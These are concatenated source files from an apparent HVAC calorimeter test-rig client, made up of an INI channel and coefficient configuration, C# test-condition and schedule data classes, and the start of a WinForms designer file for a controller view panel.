CH338 = OD.TC.058,Temperature,Celsius,0.0,true,true,Temperature
CH339 = OD.TC.059,Temperature,Celsius,0.0,true,true,Temperature
CH340 = OD.TC.060,Temperature,Celsius,0.0,true,true,Temperature
;Controller-1
;Name,UnitType,DefaultUnit,DisplayFormat,Save,Chart,Y-Axis
CH341 = CTRL1.PV,Temperature,Celsius,0.00,false,false,Temperature
CH342 = CTRL1.SV,Temperature,Celsius,0.00,false,false,Temperature
CH343 = CTRL1.OUT,None,None,0.00,false,false,None
CH344 = CTRL1.Mode,None,None,0.00,false,false,None
CH345 = CTRL1.SPN,None,None,0.00,false,false,None
CH346 = CTRL1.P,None,None,0.00,false,false,None
CH347 = CTRL1.I,None,None,0.00,false,false,None
CH348 = CTRL1.D,None,None,0.00,false,false,None
CH349 = CTRL1.DEV,None,None,0.00,false,false,None
CH350 = CTRL1.BS,None,None,0.00,false,false,None
CH351 = CTRL1.FL,None,None,0.00,false,false,None
CH352 = CTRL1.MOUT,None,None,0.00,false,false,None
;Controller-2
;Name,UnitType,DefaultUnit,DisplayFormat,Save,Chart,Y-Axis
CH353 = CTRL2.PV,Temperature,Celsius,0.00,false,false,Temperature
CH354 = CTRL2.SV,Temperature,Celsius,0.00,false,false,Temperature
CH355 = CTRL2.OUT,None,None,0.00,false,false,None
CH356 = CTRL2.Mode,None,None,0.00,false,false,None
CH357 = CTRL2.SPN,None,None,0.00,false,false,None
CH358 = CTRL2.P,None,None,0.00,false,false,None
CH359 = CTRL2.I,None,None,0.00,false,false,None
CH360 = CTRL2.D,None,None,0.00,false,false,None
CH361 = CTRL2.DEV,None,None,0.00,false,false,None
CH362 = CTRL2.BS,None,None,0.00,false,false,None
CH363 = CTRL2.FL,None,None,0.00,false,false,None
CH364 = CTRL2.MOUT,None,None,0.00,false,false,None
;Controller-3
;Name,UnitType,DefaultUnit,DisplayFormat,Save,Chart,Y-Axis
CH365 = CTRL3.PV,Temperature,Celsius,0.00,false,false,Temperature
CH366 = CTRL3.SV,Temperature,Celsius,0.00,false,false,Temperature
CH367 = CTRL3.OUT,None,None,0.00,false,false,None
CH368 = CTRL3.Mode,None,None,0.00,false,false,None
CH369 = CTRL3.SPN,None,None,0.00,false,false,None
CH370 = CTRL3.P,None,None,0.00,false,false,None
CH371 = CTRL3.I,None,None,0.00,false,false,None
CH372 = CTRL3.D,None,None,0.00,false,false,None
CH373 = CTRL3.DEV,None,None,0.00,false,false,None
CH374 = CTRL3.BS,None,None,0.00,false,false,None
CH375 = CTRL3.FL,None,None,0.00,false,false,None
CH376 = CTRL3.MOUT,None,None,0.00,false,false,None
;Controller-4
;Name,UnitType,DefaultUnit,DisplayFormat,Save,Chart,Y-Axis
CH377 = CTRL4.PV,Temperature,Celsius,0.00,false,false,Temperature
CH378 = CTRL4.SV,Temperature,Celsius,0.00,false,false,Temperature
CH379 = CTRL4.OUT,None,None,0.00,false,false,None
CH380 = CTRL4.Mode,None,None,0.00,false,false,None
CH381 = CTRL4.SPN,None,None,0.00,false,false,None
CH382 = CTRL4.P,None,None,0.00,false,false,None
CH383 = CTRL4.I,None,None,0.00,false,false,None
CH384 = CTRL4.D,None,None,0.00,false,false,None
CH385 = CTRL4.DEV,None,None,0.00,false,false,None
CH386 = CTRL4.BS,None,None,0.00,false,false,None
CH387 = CTRL4.FL,None,None,0.00,false,false,None
CH388 = CTRL4.MOUT,None,None,0.00,false,false,None
;Controller-5
;Name,UnitType,DefaultUnit,DisplayFormat,Save,Chart,Y-Axis
CH389 = CTRL5.PV,Temperature,Celsius,0.00,false,false,Temperature
CH390 = CTRL5.SV,Temperature,Celsius,0.00,false,false,Temperature
CH391 = CTRL5.OUT,None,None,0.00,false,false,None
CH392 = CTRL5.Mode,None,None,0.00,false,false,None
CH393 = CTRL5.SPN,None,None,0.00,false,false,None
CH394 = CTRL5.P,None,None,0.00,false,false,None
CH395 = CTRL5.I,None,None,0.00,false,false,None
CH396 = CTRL5.D,None,None,0.00,false,false,None
CH397 = CTRL5.DEV,None,None,0.00,false,false,None
CH398 = CTRL5.BS,None,None,0.00,false,false,None
CH399 = CTRL5.FL,None,None,0.00,false,false,None
CH400 = CTRL5.MOUT,None,None,0.00,false,false,None
;Controller-6
;Name,UnitType,DefaultUnit,DisplayFormat,Save,Chart,Y-Axis
CH401 = CTRL6.PV,Temperature,Celsius,0.00,false,false,Temperature
CH402 = CTRL6.SV,Temperature,Celsius,0.00,false,false,Temperature
CH403 = CTRL6.OUT,None,None,0.00,false,false,None
CH404 = CTRL6.Mode,None,None,0.00,false,false,None
CH405 = CTRL6.SPN,None,None,0.00,false,false,None
CH406 = CTRL6.P,None,None,0.00,false,false,None
CH407 = CTRL6.I,None,None,0.00,false,false,None
CH408 = CTRL6.D,None,None,0.00,false,false,None
CH409 = CTRL6.DEV,None,None,0.00,false,false,None
CH410 = CTRL6.BS,None,None,0.00,false,false,None
CH411 = CTRL6.FL,None,None,0.00,false,false,None
CH412 = CTRL6.MOUT,None,None,0.00,false,false,None
;Controller-7
;Name,UnitType,DefaultUnit,DisplayFormat,Save,Chart,Y-Axis
CH413 = CTRL7.PV,Temperature,Celsius,0.00,false,false,Temperature
CH414 = CTRL7.SV,Temperature,Celsius,0.00,false,false,Temperature
CH415 = CTRL7.OUT,None,None,0.00,false,false,None
CH416 = CTRL7.Mode,None,None,0.00,false,false,None
CH417 = CTRL7.SPN,None,None,0.00,false,false,None
CH418 = CTRL7.P,None,None,0.00,false,false,None
CH419 = CTRL7.I,None,None,0.00,false,false,None
CH420 = CTRL7.D,None,None,0.00,false,false,None
CH421 = CTRL7.DEV,None,None,0.00,false,false,None
CH422 = CTRL7.BS,None,None,0.00,false,false,None
CH423 = CTRL7.FL,None,None,0.00,false,false,None
CH424 = CTRL7.MOUT,None,None,0.00,false,false,None
;Controller-8
;Name,UnitType,DefaultUnit,DisplayFormat,Save,Chart,Y-Axis
CH425 = CTRL8.PV,Temperature,Celsius,0.00,false,false,Temperature
CH426 = CTRL8.SV,Temperature,Celsius,0.00,false,false,Temperature
CH427 = CTRL8.OUT,None,None,0.00,false,false,None
CH428 = CTRL8.Mode,None,None,0.00,false,false,None
CH429 = CTRL8.SPN,None,None,0.00,false,false,None
CH430 = CTRL8.P,None,None,0.00,false,false,None
CH431 = CTRL8.I,None,None,0.00,false,false,None
CH432 = CTRL8.D,None,None,0.00,false,false,None
CH433 = CTRL8.DEV,None,None,0.00,false,false,None
CH434 = CTRL8.BS,None,None,0.00,false,false,None
CH435 = CTRL8.FL,None,None,0.00,false,false,None
CH436 = CTRL8.MOUT,None,None,0.00,false,false,None
;Controller-9
;Name,UnitType,DefaultUnit,DisplayFormat,Save,Chart,Y-Axis
CH437 = CTRL9.PV,Temperature,Celsius,0.00,false,false,Temperature
CH438 = CTRL9.SV,Temperature,Celsius,0.00,false,false,Temperature
CH439 = CTRL9.OUT,None,None,0.00,false,false,None
CH440 = CTRL9.Mode,None,None,0.00,false,false,None
CH441 = CTRL9.SPN,None,None,0.00,false,false,None
CH442 = CTRL9.P,None,None,0.00,false,false,None
CH443 = CTRL9.I,None,None,0.00,false,false,None
CH444 = CTRL9.D,None,None,0.00,false,false,None
CH445 = CTRL9.DEV,None,None,0.00,false,false,None
CH446 = CTRL9.BS,None,None,0.00,false,false,None
CH447 = CTRL9.FL,None,None,0.00,false,false,None
CH448 = CTRL9.MOUT,None,None,0.00,false,false,None
;Controller-10
;Name,UnitType,DefaultUnit,DisplayFormat,Save,Chart,Y-Axis
CH449 = CTRL10.PV,Temperature,Celsius,0.00,false,false,Temperature
CH450 = CTRL10.SV,Temperature,Celsius,0.00,false,false,Temperature
CH451 = CTRL10.OUT,None,None,0.00,false,false,None
CH452 = CTRL10.Mode,None,None,0.00,false,false,None
CH453 = CTRL10.SPN,None,None,0.00,false,false,None
CH454 = CTRL10.P,None,None,0.00,false,false,None
CH455 = CTRL10.I,None,None,0.00,false,false,None
CH456 = CTRL10.D,None,None,0.00,false,false,None
CH457 = CTRL10.DEV,None,None,0.00,false,false,None
CH458 = CTRL10.BS,None,None,0.00,false,false,None
CH459 = CTRL10.FL,None,None,0.00,false,false,None
CH460 = CTRL10.MOUT,None,None,0.00,false,false,None
;Controller-11
;Name,UnitType,DefaultUnit,DisplayFormat,Save,Chart,Y-Axis
CH461 = CTRL11.PV,Temperature,Celsius,0.00,false,false,Temperature
CH462 = CTRL11.SV,Temperature,Celsius,0.00,false,false,Temperature
CH463 = CTRL11.OUT,None,None,0.00,false,false,None
CH464 = CTRL11.Mode,None,None,0.00,false,false,None
CH465 = CTRL11.SPN,None,None,0.00,false,false,None
CH466 = CTRL11.P,None,None,0.00,false,false,None
CH467 = CTRL11.I,None,None,0.00,false,false,None
CH468 = CTRL11.D,None,None,0.00,false,false,None
CH469 = CTRL11.DEV,None,None,0.00,false,false,None
CH470 = CTRL11.BS,None,None,0.00,false,false,None
CH471 = CTRL11.FL,None,None,0.00,false,false,None
CH472 = CTRL11.MOUT,None,None,0.00,false,false,None
;Controller-12
;Name,UnitType,DefaultUnit,DisplayFormat,Save,Chart,Y-Axis
CH473 = CTRL12.PV,Voltage,V,0.0,false,false,Voltage
CH474 = CTRL12.SV,Voltage,V,0.0,false,false,Voltage
CH475 = CTRL12.OUT,None,None,0.0,false,false,None
CH476 = CTRL12.Mode,None,None,0.0,false,false,None
CH477 = CTRL12.SPN,None,None,0.0,false,false,None
CH478 = CTRL12.P,None,None,0.0,false,false,None
CH479 = CTRL12.I,None,None,0.0,false,false,None
CH480 = CTRL12.D,None,None,0.0,false,false,None
CH481 = CTRL12.DEV,None,None,0.0,false,false,None
CH482 = CTRL12.BS,None,None,0.0,false,false,None
CH483 = CTRL12.FL,None,None,0.0,false,false,None
CH484 = CTRL12.MOUT,None,None,0.0,false,false,None
;Controller-13
;Name,UnitType,DefaultUnit,DisplayFormat,Save,Chart,Y-Axis
CH485 = CTRL13.PV,Voltage,V,0.0,false,false,Voltage
CH486 = CTRL13.SV,Voltage,V,0.0,false,false,Voltage
CH487 = CTRL13.OUT,None,None,0.0,false,false,None
CH488 = CTRL13.Mode,None,None,0.0,false,false,None
CH489 = CTRL13.SPN,None,None,0.0,false,false,None
CH490 = CTRL13.P,None,None,0.0,false,false,None
CH491 = CTRL13.I,None,None,0.0,false,false,None
CH492 = CTRL13.D,None,None,0.0,false,false,None
CH493 = CTRL13.DEV,None,None,0.0,false,false,None
CH494 = CTRL13.BS,None,None,0.0,false,false,None
CH495 = CTRL13.FL,None,None,0.0,false,false,None
CH496 = CTRL13.MOUT,None,None,0.0,false,false,None
;PLC-1
;Name,UnitType,DefaultUnit,DisplayFormat,Save,Chart,Y-Axis
CH497 = ID11.Nozzle1,None,None,0.0,false,false,None
CH498 = ID11.Nozzle2,None,None,0.0,false,false,None
CH499 = ID11.Nozzle3,None,None,0.0,false,false,None
CH500 = ID11.Nozzle4,None,None,0.0,false,false,None
CH501 = ID12.Nozzle1,None,None,0.0,false,false,None
CH502 = ID12.Nozzle2,None,None,0.0,false,false,None
CH503 = ID12.Nozzle3,None,None,0.0,false,false,None
CH504 = ID12.Nozzle4,None,None,0.0,false,false,None
CH505 = ID21.Nozzle1,None,None,0.0,false,false,None
CH506 = ID21.Nozzle2,None,None,0.0,false,false,None
CH507 = ID21.Nozzle3,None,None,0.0,false,false,None
CH508 = ID21.Nozzle4,None,None,0.0,false,false,None
CH509 = ID22.Nozzle1,None,None,0.0,false,false,None
CH510 = ID22.Nozzle2,None,None,0.0,false,false,None
CH511 = ID22.Nozzle3,None,None,0.0,false,false,None
CH512 = ID22.Nozzle4,None,None,0.0,false,false,None
[TC.Tag]
Tag1 = TC-001
Tag2 = TC-002
Tag3 = TC-003
Tag4 = TC-004
Tag5 = TC-005
Tag6 = TC-006
Tag7 = TC-007
Tag8 = TC-008
Tag9 = TC-009
Tag10 = TC-010
[Press.Tag]
Tag1 = Press-001
Tag2 = Press-002
Tag3 = Press-003
Tag4 = Press-004
Tag5 = Press-005
Tag6 = Press-006
Tag7 = Press-007
Tag8 = Press-008
Tag9 = Press-009
Tag10 = Press-010
[Options]
FixedAtmPressure =true
ForcedInteg =true
ExcelPath =D:\ShDoc\Projects\VS\Hnc\Calorimeter\Client\Excel
AutoExcel =true
StoppedTestExcel =true
Indoor1TC =false
Indoor2TC =true
OutdoorTC =true
IndoorTC1=false
IndoorTC2=false
[Coefficient.ID11]
Airflow =1.0
CoolingCapacity =1.0
HeatingCapacity =1.0
Cooling_HLK =4.0
Heating_HLK =4.0
Cooling_HLK_Duct1 =3.0
Heating_HLK_Duct1 =3.0
Cooling_HLK_Duct2 =4.5
Heating_HLK_Duct2 =4.5
Cooling_HLK_Duct3 =6.0
Heating_HLK_Duct3 =6.0
Cooling_HLK_Duct4 =7.5
Heating_HLK_Duct4 =7.5
Cooling_HLK_Duct5 =9.0
Heating_HLK_Duct5 =9.0
Nozzle1 =100.0
Nozzle2 =150.0
Nozzle3 =150.0
Nozzle4 =300.0
[Coefficient.ID12]
Airflow =1.0
CoolingCapacity =1.0
HeatingCapacity =1.0
Cooling_HLK =4.0
Heating_HLK =5.0
Cooling_HLK_Duct1 =0.0
Heating_HLK_Duct1 =3.0
Cooling_HLK_Duct2 =4.5
Heating_HLK_Duct2 =4.5
Cooling_HLK_Duct3 =6.0
Heating_HLK_Duct3 =6.0
Cooling_HLK_Duct4 =7.5
Heating_HLK_Duct4 =7.5
Cooling_HLK_Duct5 =9.0
Heating_HLK_Duct5 =9.0
Nozzle1 =100.0
Nozzle2 =60.0
Nozzle3 =85.0
Nozzle4 =100.0
[Coefficient.ID21]
Airflow =1.0
CoolingCapacity =2.0
HeatingCapacity =3.0
Cooling_HLK =4.0
Heating_HLK =5.0
Cooling_HLK_Duct1 =6.0
Heating_HLK_Duct1 =3.0
Cooling_HLK_Duct2 =4.5
Heating_HLK_Duct2 =4.5
Cooling_HLK_Duct3 =6.0
Heating_HLK_Duct3 =6.0
Cooling_HLK_Duct4 =7.5
Heating_HLK_Duct4 =7.5
Cooling_HLK_Duct5 =9.0
Heating_HLK_Duct5 =9.0
Nozzle1 =100.0
Nozzle2 =125.0
Nozzle3 =150.0
Nozzle4 =150.0
[Coefficient.ID22]
Airflow =1.0
CoolingCapacity =1.0
HeatingCapacity =1.0
Cooling_HLK =4.0
Heating_HLK =4.0
Cooling_HLK_Duct1 =3.0
Heating_HLK_Duct1 =3.0
Cooling_HLK_Duct2 =4.5
Heating_HLK_Duct2 =4.5
Cooling_HLK_Duct3 =6.0
Heating_HLK_Duct3 =6.0
Cooling_HLK_Duct4 =7.5
Heating_HLK_Duct4 =7.5
Cooling_HLK_Duct5 =9.0
Heating_HLK_Duct5 =9.0
Nozzle1 =50.0
Nozzle2 =200.0
Nozzle3 =85.0
Nozzle4 =100.0
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using Ulee.Device.Connection.Yokogawa;
namespace Hnc.Calorimeter.Client
{
#region TestCondition
public class TestCondition
{
public TestCondition(TestValue value)
{
Control = null;
Schedules = new List<ConditionSchedule>();
Method = new ConditionMethod();
Note = new ConditionNote();
Rateds = new Dictionary<EConditionRated, List<ConditionRated>>();
Rateds.Add(EConditionRated.Total, new List<ConditionRated>() { new ConditionRated(), new ConditionRated() });
Rateds.Add(EConditionRated.ID11, new List<ConditionRated>() { new ConditionRated(), new ConditionRated() });
Rateds.Add(EConditionRated.ID12, new List<ConditionRated>() { new ConditionRated(), new ConditionRated() });
Rateds.Add(EConditionRated.ID21, new List<ConditionRated>() { new ConditionRated(), new ConditionRated() });
Rateds.Add(EConditionRated.ID22, new List<ConditionRated>() { new ConditionRated(), new ConditionRated() });
ThermocoupleDic = new Dictionary<string, string>();
PressureDic = new Dictionary<string, string>();
Pressures = new List<MeasureRow>();
for (int i = 0; i < Resource.Client.Devices.Recorder.PressureLength; i++)
{
Pressures.Add(new MeasureRow(null, "none", $"Pressure.{i + 1}", i + 1));
}
TC1 = new List<MeasureRow>();
TC2 = new List<MeasureRow>();
TC3 = new List<MeasureRow>();
for (int i = 0; i < Resource.Client.Devices.Recorder.ThermocoupleLength / 3; i++)
{
TC1.Add(new MeasureRow(null, "none", $"ID1.TC.{i + 1:d3}", i + 1));
TC2.Add(new MeasureRow(null, "none", $"ID2.TC.{i + 1:d3}", i + 1));
TC3.Add(new MeasureRow(null, "none", $"OD.TC.{i + 1:d3}", i + 1));
}
}
public CtrlTestCondition Control { get; set; }
public List<ConditionSchedule> Schedules { get; set; }
public ConditionMethod Method { get; set; }
public ConditionNote Note { get; set; }
public Dictionary<EConditionRated, List<ConditionRated>> Rateds { get; set; }
public Dictionary<string, string> ThermocoupleDic { get; set; }
public Dictionary<string, string> PressureDic { get; set; }
public List<MeasureRow> Pressures { get; set; }
public List<MeasureRow> TC1 { get; set; }
public List<MeasureRow> TC2 { get; set; }
public List<MeasureRow> TC3 { get; set; }
}
#region ConditionSchedule
public class ConditionSchedule
{
public ConditionSchedule(int no)
{
No = no;
Standard = "";
Name = "";
NoOfSteady = 1;
PreRun = 120;
Judge = 60;
Repeat = 1;
Indoor1DB = 27;
Indoor1DBAvg = 0;
Indoor1DBDev = 0;
Indoor1WB = 19;
Indoor1WBAvg = 0;
Indoor1WBDev = 0;
Indoor1LDB1Dev = 0;
Indoor1LWB1Dev = 0;
Indoor1AirFlow1Dev = 0;
Indoor1LDB2Dev = 0;
Indoor1LWB2Dev = 0;
Indoor1AirFlow2Dev = 0;
Indoor1CP1 = 0;
Indoor1CP1Avg = 0;
Indoor1CP1Dev = 0;
Indoor1CP2 = 0;
Indoor1CP2Avg = 0;
Indoor1CP2Dev = 0;
Indoor2DB = 27;
Indoor2DBAvg = 0;
Indoor2DBDev = 0;
Indoor2WB = 19;
Indoor2WBAvg = 0;
Indoor2WBDev = 0;
Indoor2LDB1Dev = 0;
Indoor2LWB1Dev = 0;
Indoor2AirFlow1Dev = 0;
Indoor2LDB2Dev = 0;
Indoor2LWB2Dev = 0;
Indoor2AirFlow2Dev = 0;
Indoor2CP1 = 0;
Indoor2CP1Avg = 0;
Indoor2CP1Dev = 0;
Indoor2CP2 = 0;
Indoor2CP2Avg = 0;
Indoor2CP2Dev = 0;
OutdoorDB = 35;
OutdoorDBAvg = 0;
OutdoorDBDev = 0;
OutdoorWB = 24;
OutdoorWBAvg = 0;
OutdoorWBDev = 0;
OutdoorDP = 10;
OutdoorDPAvg = 0;
OutdoorDPDev = 0;
OutdoorVolt1 = 220;
OutdoorVolt1Avg = 0;
OutdoorVolt1Dev = 0;
OutdoorVolt2 = 220;
OutdoorVolt2Avg = 0;
OutdoorVolt2Dev = 0;
Indoor1Use = EIndoorUse.Indoor;
Indoor1Mode1 = EIndoorMode.Cooling;
Indoor1Duct1 = EIndoorDuct.NotUsed;
Indoor1Mode2 = EIndoorMode.Cooling;
Indoor1Duct2 = EIndoorDuct.NotUsed;
Indoor2Use = EIndoorUse.Indoor;
Indoor2Mode1 = EIndoorMode.Cooling;
Indoor2Duct1 = EIndoorDuct.NotUsed;
Indoor2Mode2 = EIndoorMode.Cooling;
Indoor2Duct2 = EIndoorDuct.NotUsed;
OutdoorUse = EOutdoorUse.Outdoor;
OutdoorDpSensor = EEtcUse.NotUsed;
OutdoorAutoVolt = EEtcUse.NotUsed;
}
public int No { get; set; }
public string Standard { get; set; }
public string Name { get; set; }
public int NoOfSteady { get; set; }
public int PreRun { get; set; }
public int Judge { get; set; }
public int Repeat { get; set; }
public float Indoor1DB { get; set; }
public float Indoor1DBAvg { get; set; }
public float Indoor1DBDev { get; set; }
public float Indoor1WB { get; set; }
public float Indoor1WBAvg { get; set; }
public float Indoor1WBDev { get; set; }
public float Indoor1LDB1Dev { get; set; }
public float Indoor1LWB1Dev { get; set; }
public float Indoor1AirFlow1Dev { get; set; }
public float Indoor1LDB2Dev { get; set; }
public float Indoor1LWB2Dev { get; set; }
public float Indoor1AirFlow2Dev { get; set; }
public float Indoor1CP1 { get; set; }
public float Indoor1CP1Avg { get; set; }
public float Indoor1CP1Dev { get; set; }
public float Indoor1CP2 { get; set; }
public float Indoor1CP2Avg { get; set; }
public float Indoor1CP2Dev { get; set; }
public float Indoor2DB { get; set; }
public float Indoor2DBAvg { get; set; }
public float Indoor2DBDev { get; set; }
public float Indoor2WB { get; set; }
public float Indoor2WBAvg { get; set; }
public float Indoor2WBDev { get; set; }
public float Indoor2LDB1Dev { get; set; }
public float Indoor2LWB1Dev { get; set; }
public float Indoor2AirFlow1Dev { get; set; }
public float Indoor2LDB2Dev { get; set; }
public float Indoor2LWB2Dev { get; set; }
public float Indoor2AirFlow2Dev { get; set; }
public float Indoor2CP1 { get; set; }
public float Indoor2CP1Avg { get; set; }
public float Indoor2CP1Dev { get; set; }
public float Indoor2CP2 { get; set; }
public float Indoor2CP2Avg { get; set; }
public float Indoor2CP2Dev { get; set; }
public float OutdoorDB { get; set; }
public float OutdoorDBAvg { get; set; }
public float OutdoorDBDev { get; set; }
public float OutdoorWB { get; set; }
public float OutdoorWBAvg { get; set; }
public float OutdoorWBDev { get; set; }
public float OutdoorDP { get; set; }
public float OutdoorDPAvg { get; set; }
public float OutdoorDPDev { get; set; }
public float OutdoorVolt1 { get; set; }
public float OutdoorVolt1Avg { get; set; }
public float OutdoorVolt1Dev { get; set; }
public float OutdoorVolt2 { get; set; }
public float OutdoorVolt2Avg { get; set; }
public float OutdoorVolt2Dev { get; set; }
public EIndoorUse Indoor1Use { get; set; }
public EIndoorMode Indoor1Mode1 { get; set; }
public EIndoorDuct Indoor1Duct1 { get; set; }
public EIndoorMode Indoor1Mode2 { get; set; }
public EIndoorDuct Indoor1Duct2 { get; set; }
public EIndoorUse Indoor2Use { get; set; }
public EIndoorMode Indoor2Mode1 { get; set; }
public EIndoorDuct Indoor2Duct1 { get; set; }
public EIndoorMode Indoor2Mode2 { get; set; }
public EIndoorDuct Indoor2Duct2 { get; set; }
public EOutdoorUse OutdoorUse { get; set; }
public EEtcUse OutdoorDpSensor { get; set; }
public EEtcUse OutdoorAutoVolt { get; set; }
public EIndoorMode IndoorMode
{
get
{
EIndoorMode mode = EIndoorMode.NotUsed;
if ((Indoor1Use == EIndoorUse.NotUsed) &&
(Indoor2Use == EIndoorUse.NotUsed)) return mode;
if ((Indoor1Mode1 == EIndoorMode.NotUsed) &&
(Indoor1Mode2 == EIndoorMode.NotUsed) &&
(Indoor2Mode1 == EIndoorMode.NotUsed) &&
(Indoor2Mode2 == EIndoorMode.NotUsed)) return EIndoorMode.Cooling;
if (Indoor1Use == EIndoorUse.Indoor)
{
if (Indoor1Mode1 != EIndoorMode.NotUsed)
{
mode = Indoor1Mode1;
}
else if (Indoor1Mode2 != EIndoorMode.NotUsed)
{
mode = Indoor1Mode2;
}
else if (Indoor2Use == EIndoorUse.Indoor)
{
if (Indoor2Mode1 != EIndoorMode.NotUsed)
{
mode = Indoor2Mode1;
}
else if (Indoor2Mode2 != EIndoorMode.NotUsed)
{
mode = Indoor2Mode2;
}
}
}
else if (Indoor2Use == EIndoorUse.Indoor)
{
if (Indoor2Mode1 != EIndoorMode.NotUsed)
{
mode = Indoor2Mode1;
}
else if (Indoor2Mode2 != EIndoorMode.NotUsed)
{
mode = Indoor2Mode2;
}
}
return mode;
}
}
public EIndoorMode Indoor1Mode
{
get
{
EIndoorMode mode = EIndoorMode.NotUsed;
if (Indoor1Use == EIndoorUse.NotUsed) return mode;
if ((Indoor1Mode1 == EIndoorMode.NotUsed) &&
(Indoor1Mode2 == EIndoorMode.NotUsed)) return mode;
if (Indoor1Mode1 != EIndoorMode.NotUsed)
mode = Indoor1Mode1;
else
mode = Indoor1Mode2;
return mode;
}
}
public EIndoorMode Indoor2Mode
{
get
{
EIndoorMode mode = EIndoorMode.NotUsed;
if (Indoor2Use == EIndoorUse.NotUsed) return mode;
if ((Indoor2Mode1 == EIndoorMode.NotUsed) &&
(Indoor2Mode2 == EIndoorMode.NotUsed)) return mode;
if (Indoor2Mode1 != EIndoorMode.NotUsed)
mode = Indoor2Mode1;
else
mode = Indoor2Mode2;
return mode;
}
}
public bool Use
{
get
{
if (Indoor1Use == EIndoorUse.Indoor) return true;
if (Indoor2Use == EIndoorUse.Indoor) return true;
if (OutdoorUse == EOutdoorUse.Outdoor) return true;
return false;
}
}
}
#endregion
#region ConditionMethod
public class ConditionMethod
{
public ConditionMethod()
{
IntegralCount = 1;
IntegralTime = 1;
ScanTime = 1;
CoolingCapacity = EUnitCapacity.W;
HeatingCapacity = EUnitCapacity.W;
AirFlow = EUnitAirFlow.CMM;
Enthalpy = EUnitEnthalpy.W;
Pressure = EUnitPressure.Bar;
Temperature = EUnitTemperature.Celsius;
DiffPressure = EUnitDiffPressure.mmAq;
AtmPressure = EUnitAtmPressure.mmAq;
AutoControllerSetting = false;
UsePowerMeterIntegral = false;
}
public int IntegralCount { get; set; }
public int IntegralTime { get; set; }
public int ScanTime { get; set; }
public EUnitCapacity CoolingCapacity { get; set; }
public EUnitCapacity HeatingCapacity { get; set; }
public EUnitAirFlow AirFlow { get; set; }
public EUnitEnthalpy Enthalpy { get; set; }
public EUnitPressure Pressure { get; set; }
public EUnitDiffPressure DiffPressure { get; set; }
public EUnitAtmPressure AtmPressure { get; set; }
public EUnitTemperature Temperature { get; set; }
public bool AutoControllerSetting { get; set; }
public bool UsePowerMeterIntegral { get; set; }
}
#endregion
#region ConditionNote
public class ConditionNote
{
public ConditionNote()
{
Company = "";
Name = "";
No = "";
Observer = "";
Maker = "";
Model1 = "";
Serial1 = "";
Model2 = "";
Serial2 = "";
Model3 = "";
Serial3 = "";
ExpDevice = "";
Refrigerant = "";
RefCharge = "";
Memo = "";
}
public string Company { get; set; }
public string Name { get; set; }
public string No { get; set; }
public string Observer { get; set; }
public string Maker { get; set; }
public string Model1 { get; set; }
public string Serial1 { get; set; }
public string Model2 { get; set; }
public string Serial2 { get; set; }
public string Model3 { get; set; }
public string Serial3 { get; set; }
public string ExpDevice { get; set; }
public string Refrigerant { get; set; }
public string RefCharge { get; set; }
public string Memo { get; set; }
}
#endregion
#region ConditionRated
public enum EConditionRated { Total, ID11, ID12, ID21, ID22 }
public class ConditionRated
{
public ConditionRated()
{
}
public float Capacity { get; set; }
public float PowerInput { get; set; }
public float EER_COP { get; set; }
public float Voltage { get; set; }
public float Current { get; set; }
public string Frequency { get; set; }
public int PM_IDU { get; set; }
public int PM_ODU { get; set; }
public EWT330Wiring Wiring { get; set; }
}
#endregion
#endregion
}
<file_sep>namespace Hnc.Calorimeter.Client
{
partial class CtrlControllerView
{
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.IContainer components = null;
/// <summary>
/// Clean up any resources being used.
/// </summary>
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Component Designer generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
this.titleEdit = new Ulee.Controls.UlPanel();
this.ulPanel1 = new Ulee.Controls.UlPanel();
this.pvPanel = new Ulee.Controls.UlPanel();
this.svPanel = new Ulee.Controls.UlPanel();
this.ulPanel9 = new Ulee.Controls.UlPanel();
this.modePanel = new Ulee.Controls.UlPanel();
this.ulPanel13 = new Ulee.Controls.UlPanel();
this.outPanel = new Ulee.Controls.UlPanel();
this.ulPanel17 = new Ulee.Controls.UlPanel();
this.flPanel = new Ulee.Controls.UlPanel();
this.ulPanel10 = new Ulee.Controls.UlPanel();
this.dPanel = new Ulee.Controls.UlPanel();
this.ulPanel19 = new Ulee.Controls.UlPanel();
this.iPanel = new Ulee.Controls.UlPanel();
this.ulPanel22 = new Ulee.Controls.UlPanel();
this.pPanel = new Ulee.Controls.UlPanel();
this.ulPanel25 = new Ulee.Controls.UlPanel();
this.settingButton = new System.Windows.Forms.Button();
this.bgPanel.SuspendLayout();
this.SuspendLayout();
//
// bgPanel
//
this.bgPanel.BevelInner = Ulee.Controls.EUlBevelStyle.Raised;
this.bgPanel.Controls.Add(this.settingButton);
this.bgPanel.Controls.Add(this.flPanel);
this.bgPanel.Controls.Add(this.ulPanel10);
this.bgPanel.Controls.Add(this.dPanel);
this.bgPanel.Controls.Add(this.ulPanel19);
this.bgPanel.Controls.Add(this.iPanel);
this.bgPanel.Controls.Add(this.ulPanel22);
this.bgPanel.Controls.Add(this.pPanel);
this.bgPanel.Controls.Add(this.ulPanel25);
this.bgPanel.Controls.Add(this.modePanel);
this.bgPanel.Controls.Add(this.ulPanel13);
this.bgPanel.Controls.Add(this.outPanel);
this.bgPanel.Controls.Add(this.ulPanel17);
this.bgPanel.Controls.Add(this.svPanel);
this.bgPanel.Controls.Add(this.ulPanel9);
this.bgPanel.Controls.Add(this.pvPanel);
this.bgPanel.Controls.Add(this.ulPanel1);
this.bgPanel.Controls.Add(this.titleEdit);
this.bgPanel.Size = new System.Drawing.Size(160, 300);
//
// titleEdit
//
this.titleEdit.BackColor = System.Drawing.Color.DeepSkyBlue;
this.titleEdit.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.titleEdit.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.titleEdit.Font = new System.Drawing.Font("Arial Rounded MT Bold", 10F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.titleEdit.ForeColor = System.Drawing.Color.White;
this.titleEdit.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.titleEdit.InnerColor2 = System.Drawing.Color.White;
this.titleEdit.Location = new System.Drawing.Point(6, 6);
